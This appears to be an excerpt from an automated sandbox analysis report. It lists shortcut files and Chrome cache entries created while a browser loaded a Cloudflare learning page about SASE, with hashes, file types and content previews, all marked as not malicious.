Preview:	L..................F.@.. ...$+.,....VhmMd!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003478686850025
Encrypted:	false
SSDEEP:	48:8J0dKfTq3wfbHDidAKZdA14t5eh7sFiZUkmgqeh7suy+BX:8J7f2Uinsy
MD5:	0361D0AB43E80935BDFDEAAF598F1A04
SHA1:	C1ECB2B1D485266F98F07E3B94AF9EE21E2CC737
SHA-256:	6FDC0500A1D07E77CE16641D2A8E3ECE95787BB94102388E8F23B9D17BEA0284
SHA-512:	02190C3BC8CD6570BFC95FD18AD9CF8EFFA8844CEF610896DB0A2B3E709C6FD42D0CD70BD6F461E7BFB20D4AF786516CFFEE9F1AC2EC2FE7C5A8FC36E867B886
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 12:47:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9862963052579685
Encrypted:	false
SSDEEP:	48:8U0dKfTq3wfkHDidAKZdA16ehDiZUkwqehUy+R:8U7f2UE2y
MD5:	2D45F5DE3E2FA24B63CDFB3D6BB30980
SHA1:	AB2E37C9485AEF5AB85925EDE958DEBE482656F3
SHA-256:	CFE91FE228F7749229538786AC77D7FA54AB93EF58BCDC89B489551DAB007D41
SHA-512:	4D7DFC9C191048F9C9288AACB8F0DED551D6E43A933C4F6FB8CEE4D92293D2CE4C619CA53535A4F53DF1E64D616002638A3BBF121E036A2542F0429DB61CACEA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....rgMd!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 12:47:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9763856879572783
Encrypted:	false
SSDEEP:	48:8z0dKfTq3wfkHDidAKZdA1UehBiZUk1W1qehqy+C:8z7f2UE9Ky
MD5:	F5197CFFE74A2A7420DA8063B6BF829B
SHA1:	999EB20C731FABDC68D451E5FE06FB8084CAC1E4
SHA-256:	4942C60FECDE7E76EFB046201A11B883791EDE97B040BEB6B0CCD036CB6F8EC1
SHA-512:	7FF3A969437F724178AF19B9CAD493C217485664024F4D932C9A8DA22CC038F6616D1F997E1770D670659CB0156FF5C55AB8FA4D08637D92982D70D1A62299BA
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......tMd!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 12:47:41 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9871650510509693
Encrypted:	false
SSDEEP:	48:880dKfTq3wfkHDidAKZdA1duTrehOuTbbiZUk5OjqehOuTbsy+yT+:887f2UxTYTbxWOvTbsy7T
MD5:	09BF6C22F93CD61E42E19F28B803C4F2
SHA1:	4CBE48F8E69E1CC7C9E79DA59318820F0EF76F2A
SHA-256:	579CD28DC7B5A95181DAF9D522AF3A246004F233D6DE0626A84762B91F2FA12F
SHA-512:	87C76CF6F909E6938D674D016A075E3ABDDF160C862CF6D4BE09E94E890FE763981C37FEF2C03C9CB0797BCD12DC2AF7ED3F3298AFB68ACC00279FA14C69E01B
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,......\Md!..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IRY.m....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.m....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VRY.m....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VRY.m..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VRY.m...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............E.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6758
Entropy (8bit):	4.759815109482734
Encrypted:	false
SSDEEP:	48:YghQC2P365rDjW6t16HZL9TtbSWF0H1fLFbe:pQjIrDjGHZL9TlzFsLFbe
MD5:	93895CDD3863C54B096D8918C47D6C26
SHA1:	34EE1D385F0CDB7801725A8024DD1F97DFEA7CFB
SHA-256:	F9164E6DE7C84569DCB2EB5C49844A0C5AF07B9A2410A05A691D360BEEECE0FD
SHA-512:	F6A393E933624C4B6A6E2F42040D509D91DE83172F94A707CCA0FB0588A6FFBC2B15FF0F82B358E144603DBB25168B070552443A96271931F27ED4C3D4B36CF0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"fields":[{"id":"Email","label":"Email:","dataType":"email","validationMessage":"Must be a valid business email.","rowNumber":0,"columnNumber":0,"required":true,"formPrefill":true,"visibilityRules":{"ruleType":"alwaysShow"}},{"id":"CloudFlare_POP__c","label":"CloudFlare POP:","dataType":"hidden","rowNumber":1,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"CountryCode__c","label":"CountryCode:","dataType":"hidden","rowNumber":2,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Lead_Source_Detail__c","label":"Lead Source Detail:","dataType":"hidden","rowNumber":3,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"LeadSource","label":"Person Source:","dataType":"hidden","rowNumber":4,"columnNumber":0,"required":false,"autoFill":{"value":"","valueFrom":"default"}},{"id":"Accept_Language__c","label":"Accept Language:","dataType":"hidden","rowNumber":5,"columnNumber":0,"requir

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	50
Entropy (8bit):	4.743465189601648
Encrypted:	false
SSDEEP:	3:YSAjKv8Lt/15c3qrn:YSAjKvax15c2
MD5:	13AF38047BE306D051BFD29B4764F548
SHA1:	29501F07FED3EE597DF421DBD821B54A7708ACB2
SHA-256:	E707EDD3AFFA6CC7CB5F7D1F14952CD20E66687AC7A7B31A5853ABEEE4D3C491
SHA-512:	36DA7599D1172D1006B096660D3F4C5846B0EAC4DCC1F8C86CBF46C80B4883CAD03B9B15DF5646B6C8FFCA70E174F139B07DFEB7E2884BD543F55A81B66CC193
Malicious:	false
Preview:	{"webpackCompilationHash":"d96a08e57791afdac27e"}.

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	188650
Entropy (8bit):	5.20693242448809
Encrypted:	false
SSDEEP:	1536:tp/9iEXy6LNidDuf9P0aL1ss4OD2RP1822UuNNoJ57T5IahU5WuF:BiEXy6L8Du7L1FDM9822UuLoDBIaqWuF
MD5:	3EA136C0F60BE3D72B4FADC1070CC7D0
SHA1:	453A8AC4C8D827FABA3AD8EE7017F3FDB0214CC0
SHA-256:	B640830E70FD627DE86EA57BF75578DF189C1EEBAF1DA5B073FC044D7DB810CB
SHA-512:	83A27A477699B2F59811AFC58C4D1C4F015C0E3FD0B4E20BA35E09749EA8D272BA69F35C01EB53F88328424716F24DC5F45970DEB484757042BFD520FF77E7A7
Malicious:	false
URL:	https://www.cloudflare.com/page-data/learning/access-management/what-is-sase/page-data.json
Preview:	{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/what-is-sase/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":"nXsrVte4AQdH4vq24MPyF","locale":"en-US","mainNav":{"contentTypeId":"navNavigation","contentfulId":"3onSCkJx7542CMAJj5nxPP","locale":"en-US","navigationType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"contentfulButton":null,"showIconOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"5kdEfA2EwI8jw4ExjnN4R2","locale":"en-US","name":" By topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"7JRJ8E2Y

Chrome Cache Entry: 167

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.054229296672174
Encrypted:	false
SSDEEP:	3:3NC0G2C2Y:d5O
MD5:	1182BFFEDCEFF5C165316B8F97CE8B69
SHA1:	0E01294F1E5366929E2D3F86BB0277845D848C87
SHA-256:	6A011196CCC9B17C13FE8EF397C031BF45D8FB41F455CC308DC4296C7A2B2CF7
SHA-512:	45562A8E0F25D62A53B879114515F7639932DE67E12D697F76DF28EA511ADD844FD3B7ADE84B89878909ECFCCF4BA9E5087E1BFBEE35D1EFA0E043A6FDD05FBB
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmPbWnVJ9RvFBIFDQ-obAw=?alt=proto
Preview:	ChQKEg0PqGwMGgQICRgBGgUImgEYAg==

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (59934)
Category:	downloaded
Size (bytes):	1461729
Entropy (8bit):	5.839936532211817
Encrypted:	false
SSDEEP:	24576:J3LS93wCHB5h4qobzuhzLMlQ1Qk3Z7ERK+SCNuWhhd+xlktyjH60I9FQRzH8Ly8:VS93wCHD2q3hzLMlQ1Qk3eRK+JNuWhhr
MD5:	809665314FE29BDAA7ED913A1CFFC37F
SHA1:	304DB5A799E0EE7AE5962207E335A9F528FAF05B
SHA-256:	86FBE68F0FB1F6F137DB0B090C3E72B9510CE4F3B635EFFF6583EA2C169BB37E
SHA-512:	312AED19661A5705A61438832BD2FFA99D07D1595F0881CC10B11DD253FC8714FAF75C7FC90402C6FE12F127D17BB47D5EB22368DB44F5C704B35A00A8108181
Malicious:	false
URL:	https://www.cloudflare.com/app-5eb8714132173426f3bb.js
Preview:	/! For license information please see app-5eb8714132173426f3bb.js.LICENSE.txt /.(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[524],{38157:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r=n(96540),o="https://embed.cloudflarestream.com/embed/sdk.latest.js",a=function(){if("undefined"!=typeof window)return window.Stream};function i(e,t,n){(0,r.useEffect)((function(){t.current&&(t.current[e]=n)}),[e,n,t])}function s(e,t,n){void 0===n&&(n=l),(0,r.useEffect)((function(){if(t.current){var r=t.current;return r.addEventListener(e,n),function(){return r.removeEventListener(e,n)}}}),[n,e,t])}var l=function(){},c=function(e){return function(){var e=(0,r.useState)(a),t=e[0],n=e[1];return(0,r.useEffect)((function(){if(!t){var e=document.querySelector("script[src='"+o+"']"),r=null!=e?e:document.createElement("script");r.addEventListener("load",(function(){n(a)})),e\|\|(r.src=o,document.head.appendChild(r))}}),[t]),t}()?r.createE

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	601
Entropy (8bit):	6.788806720493893
Encrypted:	false
SSDEEP:	12:6v/7BU8/l3KPLQnyftcTSu0CBeOjGk1PTEjjyRBqyrQUXN:uUO3KjQyftcuu0CBFGkNTxBdQUXN
MD5:	AB265D9767D6D5B741ACC59F4033FC1A
SHA1:	646911DFC78766823E9D74F57AE22419AE55B5CD
SHA-256:	C18249566F292FDA0AA2DFAE9E0174ACE2DAD8B8EFBD1A21A1A3449C87B292F5
SHA-512:	A6ABFFE94EDDB5A4EEC994C9BFEA65094E19EF4E1AED3C75BC1FB44717634F7BB757CB9889873687182274E1F46DE861A3B7BCF9E95ECECDE71F51DB66006462
Malicious:	false
Preview:	.PNG........IHDR.....................sRGB.........gAMA......a....ZPLTE....f3.f2.f4.g3.e5.g3.e3.f3.g3.h0.e0.f3.f3.e5.g2.d2.d4.h4.g3.i3.g3.p0.g4.f3.g5.f2.e2.f3.h8E..(....tRNS....`.... 0..0.pp@.P......`. ......sIDATx...KN.@...i....J...._..aARH.COY..@}.i...RJ]D9.T...........>_`.........H.5.. ....}..c....._..07`X..W...v..}.D.`.....I.2 .v....\|..o.....p?...o.......w...a.........p...}:.................p...}O\..s.....>...\..s.....>...Q..g.w-....<XA....}......e.q.&`..h......9..?.* .}.{...@........4.uv.k&dE...(....i. ^.S.....PO...s.. ..A.........&.2.nS..Md..s.....~.RJ)....4<.@V.@....IEND.B`.

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24745), with no line terminators
Category:	dropped
Size (bytes):	24745
Entropy (8bit):	4.7913246137971255
Encrypted:	false
SSDEEP:	384:WZ8C4hGoFpHDouLlCS7FGAVsq1nwGfg4xqsQMPNE:hlpuJ
MD5:	1F23C9EF64CD1F175F388F3672A295A8
SHA1:	0630C80D482EF9BED4203A3AF72C87586716B6FF
SHA-256:	7C2092048F21074425F3E025DB78FB6505F75D6FCF2E121CED055C8D53BCB1B3
SHA-512:	37799B22199F0ABA67D3A892BBF616FA73859BAB543251329D708CCDBE5B642E25C22FAF6E043B9EE55B3B147F4DA8FF3D7B00120A3BF28658C563251ED1AAB5
Malicious:	false
Preview:	#onetrust-banner-sdk .onetrust-vendors-list-handler{cursor:pointer;color:#1f96db;font-size:inherit;font-weight:bold;text-decoration:none;margin-left:5px}#onetrust-banner-sdk .onetrust-vendors-list-handler:hover{color:#1f96db}#onetrust-banner-sdk:focus{outline:2px solid #000;outline-offset:-2px}#onetrust-banner-sdk a:focus{outline:2px solid #000}#onetrust-banner-sdk #onetrust-accept-btn-handler,#onetrust-banner-sdk #onetrust-reject-all-handler,#onetrust-banner-sdk #onetrust-pc-btn-handler{outline-offset:1px}#onetrust-banner-sdk.ot-bnr-w-logo .ot-bnr-logo{height:64px;width:64px}#onetrust-banner-sdk .ot-tcf2-vendor-count.ot-text-bold{font-weight:bold}#onetrust-banner-sdk .ot-close-icon,#onetrust-pc-sdk .ot-close-icon,#ot-sync-ntfy .ot-close-icon{background-size:contain;background-repeat:no-repeat;background-position:center;height:12px;width:12px}#onetrust-banner-sdk .powered-by-logo,#onetrust-banner-sdk .ot-pc-footer-logo a,#onetrust-pc-sdk .powered-by-logo,#onetrust-pc-sdk .ot-pc-footer-

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	5.195218939009382
Encrypted:	false
SSDEEP:	24:YgGXhXo4YAGKooB80ar1qhqo4YAGADwB0arE:YcKoaarUcarE
MD5:	EBEEA0414FED32193900E84E33F2BE1B
SHA1:	8EFBADFF74F2B75D7BC755254E2369B27DBE8F32
SHA-256:	911BA3DE8DCDA879031896EFB4FF7EAF448FF44FC448F6AFB1281B606BD5B323
SHA-512:	16F367EA2F09F67390F1083398F7D3B4AA5369259EC25819A0A93DDAA33334563B939315503B429996662E402CBBB6AA8A376DD7F4BC595D96938A2AACBB72FB
Malicious:	false
Preview:	{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab93d8d/button_bandwidth-calculator_google-cloud.svg"},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform - GCP Orange Logo","title":"Google Cloud Platform - GCP Orange Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/42XkFj9Uywkm8Jahf62RtP/0563d91cc1fa54da2bf2c50bad815fa9/button_bandwidth-calculator_orange-google-cloud.svg"},"description":"Google Cloud Pl

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	809
Entropy (8bit):	5.239909291414671
Encrypted:	false
SSDEEP:	24:Ygdq5J4YAG22AjDlATQAZ4YAGEnE5RAdE:YQqV2N/lfKXRQE
MD5:	580AEF5D9550B3035960D64BD30278C8
SHA1:	688A8C02A88FFBC6103475BDB9492ABFBA44DCE1
SHA-256:	5200B747E6D1178C200BB83BC2226601F0665E47C552B0E7255A114AABCC4704
SHA-512:	36C7E9E8C8FB9341D9F86B4DBA552F5016F57FAE4BB233B4C34640D74D344936A1D6F92E008EA77822294B342E70EF6BEDA9910E302CB86A9C801F5963C1AE08
Malicious:	false
URL:	https://www.cloudflare.com/page-data/sq/d/333361657.json
Preview:	{"data":{"wechat":{"id":"a10f4117-8ea6-503c-82b3-badce42d594f","altText":"WeChatPopup","title":"WeChatPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/mJZqOomHta2MLLB73P8Hs/9378861761815b3adf7bcb7734d6e2e3/WeChat_Popup.jpeg"},"description":"WeChatPopup"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"tiktok":{"id":"907dd9ff-5130-5f6d-98e7-c9a91ec4242b","altText":"TiktokPopup","title":"TiktokPopup","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/6i8d186tH2iueYvgwVRaJf/ab27fd31033bdd31aea690654803d4ba/Tiktok_Popup.jpeg"},"description":"TiktokPopup"},"brandfolderAsset":null,"brandfolderAssetMobile":null}}}

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65448)
Category:	downloaded
Size (bytes):	141409
Entropy (8bit):	5.2689081924592935
Encrypted:	false
SSDEEP:	1536:vvRhq5eZ7j9fohDQde9yuYvBSyYnDQSTf3W5aUG+rdPAQ9l:vxE9oSfrf3W5Io9l
MD5:	5ECE435F1C64EEB216E3C40C34129DFF
SHA1:	12C84F3876589F43AC5DCFFAE6316420FD4750FC
SHA-256:	FC9585F08E201191E8269F67184DCB5A0DFF1354F6397C38E795E489ABBA4F4F
SHA-512:	215B97A411A051220A48C97A0C1A2A6CDFD73D8CF289C6900B09B5BD47633424FEE5F1AADC8B3E2AEDA384E3B1F31CF550A1C63ED8B84960420BBCF2EC25F329
Malicious:	false
URL:	https://www.cloudflare.com/framework-957a522640f43541ca6a.js
Preview:	/! For license information please see framework-957a522640f43541ca6a.js.LICENSE.txt /.(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[593],{2694:function(e,n,t){"use strict";var r=t(6925);function l(){}function a(){}a.resetWarningCache=l,e.exports=function(){function e(e,n,t,l,a,o){if(o!==r){var u=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw u.name="Invariant Violation",u}}function n(){return e}e.isRequired=e;var t={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:n,element:e,elementType:e,instanceOf:n,node:e,objectOf:n,oneOf:n,oneOfType:n,shape:n,exact:n,checkPropTypes:a,resetWarningCache:l};return t.PropTypes=t,t}},5556:function(e,n,t){e.exports=t(2694)()},6925:function(e){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},22551:fu

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	1135
Entropy (8bit):	5.195218939009382
Encrypted:	false
SSDEEP:	24:YgGXhXo4YAGKooB80ar1qhqo4YAGADwB0arE:YcKoaarUcarE
MD5:	EBEEA0414FED32193900E84E33F2BE1B
SHA1:	8EFBADFF74F2B75D7BC755254E2369B27DBE8F32
SHA-256:	911BA3DE8DCDA879031896EFB4FF7EAF448FF44FC448F6AFB1281B606BD5B323
SHA-512:	16F367EA2F09F67390F1083398F7D3B4AA5369259EC25819A0A93DDAA33334563B939315503B429996662E402CBBB6AA8A376DD7F4BC595D96938A2AACBB72FB
Malicious:	false
URL:	https://www.cloudflare.com/page-data/sq/d/3934964512.json
Preview:	{"data":{"gray":{"id":"67775c6d-87bd-5a24-a947-3518902c5081","altText":"Google Cloud Platform - GCP Gray Logo","title":"Google Cloud Platform - GCP Gray Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/4sfL2iS6H10uq2waT6ehym/ad18b77fa469ce07f23d22e19ab93d8d/button_bandwidth-calculator_google-cloud.svg"},"description":"Google Cloud Platform - GCP Gray Logo used as a button image on egress savings calculator"},"brandfolderAsset":null,"brandfolderAssetMobile":null},"orange":{"id":"e7dd6567-30d1-5534-921f-aa6f0713df49","altText":"Google Cloud Platform - GCP Orange Logo","title":"Google Cloud Platform - GCP Orange Logo","activeAsset":"Contentful Asset","locale":"en-US","contentfulAsset":{"file":{"publicURL":"https://cf-assets.www.cloudflare.com/slt3lc6tev37/42XkFj9Uywkm8Jahf62RtP/0563d91cc1fa54da2bf2c50bad815fa9/button_bandwidth-calculator_orange-google-cloud.svg"},"description":"Google Cloud Pl

Chrome Cache Entry: 175

Download File

